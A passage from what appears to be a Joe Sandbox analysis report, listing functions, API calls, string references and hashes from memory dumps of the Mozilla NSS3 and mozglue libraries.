calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB387ED,00000800,6CB2EF74,00000000), ref: 6CB91000
PR_NewLock.NSS3(?,00000800,6CB2EF74,00000000), ref: 6CB91016

Part of subcall function 6CBF98D0: calloc.MOZGLUE(00000001,00000084,6CB20936,00000001,?,6CB2102C), ref: 6CBF98E5

PL_InitArenaPool.NSS3(00000000,security,6CB387ED,00000008,?,00000800,6CB2EF74,00000000), ref: 6CB9102B
TlsGetValue.KERNEL32(00000000,?,?,6CB387ED,00000800,6CB2EF74,00000000), ref: 6CB91044
free.MOZGLUE(00000000,?,00000800,6CB2EF74,00000000), ref: 6CB91064

Strings

security, xrefs: 6CB91025

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 2eeac097c8d0b826e10b15e462732a5a31fec4faafaa82968a2bad94ad13c085
Instruction ID: 56123982589d15e3001b30601431d6e5b3c87e7ee9fd6c61616542bc72553d62
Opcode Fuzzy Hash: 2eeac097c8d0b826e10b15e462732a5a31fec4faafaa82968a2bad94ad13c085
Instruction Fuzzy Hash: 99010831A402D09BE7202F3D9C05A9A3A7CFF07789F094235E85897A51EB72C155EBD2

Function 6CA505F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CA4CFAE,?,?,?,6CA131A7), ref: 6CA505FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CA4CFAE,?,?,?,6CA131A7), ref: 6CA50616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CA131A7), ref: 6CA5061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CA131A7), ref: 6CA50627

Strings

<jemalloc>, xrefs: 6CA505FA, 6CA5060F
: (malloc) Error in VirtualFree(), xrefs: 6CA5061B, 6CA50625

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 18accc8e3828056e07ec4059ceba68b5e3489c4271d87fdda171a0251aee35f4
Instruction ID: 464d3c77354c1be6a5d685b63accdc25350eadcb0df6db44db765803ea41d78d
Opcode Fuzzy Hash: 18accc8e3828056e07ec4059ceba68b5e3489c4271d87fdda171a0251aee35f4
Instruction Fuzzy Hash: 41E08CE2A0211037F614226ABC86DBBB61CDBC6138F080239FE0D82301E94AAD1E55F6

Function 6CBD2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CBD3046

Part of subcall function 6CBBEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBBEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CBA7FFB), ref: 6CBD312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBD3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CBD2E8B

Part of subcall function 6CBDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBDC2BF

Part of subcall function 6CBBF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CBA9BFF,?,00000000,00000000), ref: 6CBBF134

memcpy.VCRUNTIME140(8B3C75C0,?,6CBA7FFA), ref: 6CBD2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBD317B

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 7f2cf5369626173e6ab4eecbfce4f31dba845f383c5197eb0af895912c3b0670
Instruction ID: 2a930ee5baf596d6a13a9f2fc459fd16d00cf371f8a0fa19a249cc16d420af53
Opcode Fuzzy Hash: 7f2cf5369626173e6ab4eecbfce4f31dba845f383c5197eb0af895912c3b0670
Instruction Fuzzy Hash: A6A1AC75A002589FDB24CF54CC80BAEB7B5EF49308F058199E949A7781E731AE85CF92

Function 6CB9ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CB9ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CB9EDCE

Part of subcall function 6CB90BE0: malloc.MOZGLUE(6CB88D2D,?,00000000,?), ref: 6CB90BF8
Part of subcall function 6CB90BE0: TlsGetValue.KERNEL32(6CB88D2D,?,00000000,?), ref: 6CB90C15

free.MOZGLUE(00000000,?,?,?,?,6CB9B04F), ref: 6CB9EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CB9EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CB9EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CB9EEFB

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: f7ea77b379ae243c6b87f19d0f72a844f189a2bdc610ccf5c710d8aae398c4d4
Instruction ID: 137021a47197054d42dce91a83e85d599bd059e218f9e25ca66b92d3cd5210a6
Opcode Fuzzy Hash: f7ea77b379ae243c6b87f19d0f72a844f189a2bdc610ccf5c710d8aae398c4d4
Instruction Fuzzy Hash: 31815BB5A002859FEB14CF55D880BAF77B5FF8A708F144439E8259B751DB31E814CBA2

Function 6CA205F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00c34af2054bc6c34e18bef0812cef87a1b8db7f5d2412b2833430d4543ca4a9
Instruction ID: b8dacc3277c49c4ffb8d7b993cbfba4973cebdf4fde73a826103c91cb6516e0e
Opcode Fuzzy Hash: 00c34af2054bc6c34e18bef0812cef87a1b8db7f5d2412b2833430d4543ca4a9
Instruction Fuzzy Hash: B4A14A70A007558FDB14CF29C994A9AFBF1FF48304F58866ED48A97B00E774A989CF90

Function 6CA714A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA714C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA714E2
GetCurrentThreadId.KERNEL32 ref: 6CA71546
InitializeConditionVariable.KERNEL32(?), ref: 6CA715BA
free.MOZGLUE(?), ref: 6CA716B4

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: bb7921174de24ad34bae3ed132aa26952970066c90a3acbe64f1839d00d461c1
Instruction ID: d334890679f0a6c07f460c9bd7ed023af42b3b46e947366ff71377a3dd4fb987
Opcode Fuzzy Hash: bb7921174de24ad34bae3ed132aa26952970066c90a3acbe64f1839d00d461c1
Instruction Fuzzy Hash: 6961F376A007109BDB258F25C990BEE77F5BF89308F04851CEE8A57701DB34E989CBA1

Function 6CB9CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB9C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CB9DAE2,?), ref: 6CB9C6C2

PR_Now.NSS3 ref: 6CB9CD35

Part of subcall function 6CBF9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CC40A27), ref: 6CBF9DC6
Part of subcall function 6CBF9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CC40A27), ref: 6CBF9DD1
Part of subcall function 6CBF9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CBF9DED

Part of subcall function 6CB86C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CB31C6F,00000000,00000004,?,?), ref: 6CB86C3F

PR_GetCurrentThread.NSS3 ref: 6CB9CD54

Part of subcall function 6CBF9BF0: TlsGetValue.KERNEL32(?,?,?,6CC40A75), ref: 6CBF9C07

Part of subcall function 6CB87260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CB31CCC,00000000,00000000,?,?), ref: 6CB8729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB9CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CB9CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CB9CE2C

Part of subcall function 6CB910C0: TlsGetValue.KERNEL32(?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB910F3
Part of subcall function 6CB910C0: EnterCriticalSection.KERNEL32(?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB9110C
Part of subcall function 6CB910C0: PL_ArenaAllocate.NSS3(?,?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB91141
Part of subcall function 6CB910C0: PR_Unlock.NSS3(?,?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB91182
Part of subcall function 6CB910C0: TlsGetValue.KERNEL32(?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB9119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CB9CE40

Part of subcall function 6CB914C0: TlsGetValue.KERNEL32 ref: 6CB914E0
Part of subcall function 6CB914C0: EnterCriticalSection.KERNEL32 ref: 6CB914F5
Part of subcall function 6CB914C0: PR_Unlock.NSS3 ref: 6CB9150D

Part of subcall function 6CB9CEE0: PORT_ArenaMark_Util.NSS3(?,6CB9CD93,?), ref: 6CB9CEEE
Part of subcall function 6CB9CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CB9CD93,?), ref: 6CB9CEFC
Part of subcall function 6CB9CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CB9CD93,?), ref: 6CB9CF0B
Part of subcall function 6CB9CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CB9CD93,?), ref: 6CB9CF1D

Part of subcall function 6CB9CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CB9CD93,?), ref: 6CB9CF47
Part of subcall function 6CB9CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CB9CD93,?), ref: 6CB9CF67
Part of subcall function 6CB9CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CB9CD93,?,?,?,?,?,?,?,?,?,?,?,6CB9CD93,?), ref: 6CB9CF78

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 9888d2c9235759f683eaa2b2813fcd33cb675ca187dadd8dcb4994876a515ee4
Instruction ID: 063156a3b865f72524995ea4b8eaafb93f24e89743a655ff4e1a442752e95ad2
Opcode Fuzzy Hash: 9888d2c9235759f683eaa2b2813fcd33cb675ca187dadd8dcb4994876a515ee4
Instruction Fuzzy Hash: F451C1B6A005409BEB10DF69DC40BAA77F4EF49348F250434D81AA7B41EB31FD05CB92

Function 6CB6EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CB6EF38

Part of subcall function 6CB59520: PK11_IsLoggedIn.NSS3(00000000,?,6CB8379E,?,00000001,?), ref: 6CB59542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CB6EF53

Part of subcall function 6CB74C20: TlsGetValue.KERNEL32 ref: 6CB74C4C
Part of subcall function 6CB74C20: EnterCriticalSection.KERNEL32(?), ref: 6CB74C60
Part of subcall function 6CB74C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CB74CA1
Part of subcall function 6CB74C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CB74CBE
Part of subcall function 6CB74C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CB74CD2
Part of subcall function 6CB74C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB74D3A

PR_GetCurrentThread.NSS3 ref: 6CB6EF9E

Part of subcall function 6CBF9BF0: TlsGetValue.KERNEL32(?,?,?,6CC40A75), ref: 6CBF9C07

free.MOZGLUE(00000000), ref: 6CB6EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CB6F016
free.MOZGLUE(00000000), ref: 6CB6F022

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: d98e53b96604fb42cea73019162943c5ffa10ce0598194c3228cae76d34b48bb
Instruction ID: f78ad5049c367581efb8f87c546d9c3964817a3faf5a291b5c0ddf4f2d47cd97
Opcode Fuzzy Hash: d98e53b96604fb42cea73019162943c5ffa10ce0598194c3228cae76d34b48bb
Instruction Fuzzy Hash: 4D4193B1E0024AABEF018FA9DC85BEF7BB9EF48358F004025F914A6750E771D9158BA1

Function 6CB44860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB44894

Part of subcall function 6CB8B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CC618D0,?), ref: 6CB8B095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB448CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB448DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6CB448FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB44912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB4494A

Part of subcall function 6CBDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBDC2BF

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: 463fc197624dd33385a7f247c0e452b9635649fe98284973f48f5930eee6cf61
Instruction ID: 66b91bbcbb59552eb234dc2ebaba2cddf6265fb0ec87771f4452e3f22c2351cf
Opcode Fuzzy Hash: 463fc197624dd33385a7f247c0e452b9635649fe98284973f48f5930eee6cf61
Instruction Fuzzy Hash: F541D271A09385AFE700CE69DC80BAB73E8DF84309F10452CEA5597B41F770E918EB56

Function 6CB5CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CB5CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CB5D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CB5D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB5D025
PR_NewLock.NSS3 ref: 6CB5D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CB5D074

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 802468a40fe691feb4e9d60f8c775c0638addb02065f9be0baec6ddf6c3c40cc
Instruction ID: cf4d583a891e642df665b9f1dc93386adf363fb10d44eec07e3167568592c099
Opcode Fuzzy Hash: 802468a40fe691feb4e9d60f8c775c0638addb02065f9be0baec6ddf6c3c40cc
Instruction Fuzzy Hash: 5641D6B0A013518FDB10DF39D99079A7BE8EF08318F944269DC198B746D770D4A9CBA6

Function 6CB42E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CB32D1A), ref: 6CB42E7E

Part of subcall function 6CB907B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CB38298,?,?,?,6CB2FCE5,?), ref: 6CB907BF
Part of subcall function 6CB907B0: PL_HashTableLookup.NSS3(?,?), ref: 6CB907E6
Part of subcall function 6CB907B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CB9081B
Part of subcall function 6CB907B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CB90825

PR_Now.NSS3 ref: 6CB42EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CB42EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CB32D1A), ref: 6CB42F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CB32D1A), ref: 6CB42F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CB42F81

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: fcb5bb40705a8c670e5f390bd9e4166055673f2d3a64c1aa11112842d2ef29df
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 3A3104715091C086EF10C655DC88FBE7265EF80318FE48A79D42DC7AD8EB31988AF623

Function 6CA6DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA6DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CA6D38A,?), ref: 6CA6DC6F
free.MOZGLUE(?,?,?,?,?,6CA6D38A,?), ref: 6CA6DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CA6D38A,?), ref: 6CA6DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CA6D38A,?), ref: 6CA6DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CA6D38A,?), ref: 6CA6DD4A

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 26ab368421c85348789e88a235fc4592402e81daef75b053b9b66d29e8c87052
Instruction ID: 00945c1af952336f45a281bb8dc73a2c89f195099ded97ae8a35c9d29c9b6c42
Opcode Fuzzy Hash: 26ab368421c85348789e88a235fc4592402e81daef75b053b9b66d29e8c87052
Instruction Fuzzy Hash: 7A416BB5E00615CFCB04CFAAC98099ABBF6FF89318B654569D945ABB10DB31FC44CB90

Function 6CB1A9B0 Relevance: 9.1, APIs: 6, Instructions: 101synchronizationCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,?,6CBF9270), ref: 6CB1A9BF
PR_IntervalToMilliseconds.NSS3(?,?,6CBF9270), ref: 6CB1A9DE

Part of subcall function 6CB1AB40: __aulldiv.LIBCMT ref: 6CB1AB66

Part of subcall function 6CBFCA40: LeaveCriticalSection.KERNEL32(?), ref: 6CBFCAAB

LeaveCriticalSection.KERNEL32(?), ref: 6CB1AA2C
WaitForSingleObject.KERNEL32(?,-00000001), ref: 6CB1AA39
EnterCriticalSection.KERNEL32(?), ref: 6CB1AA42
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB1AAEB

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
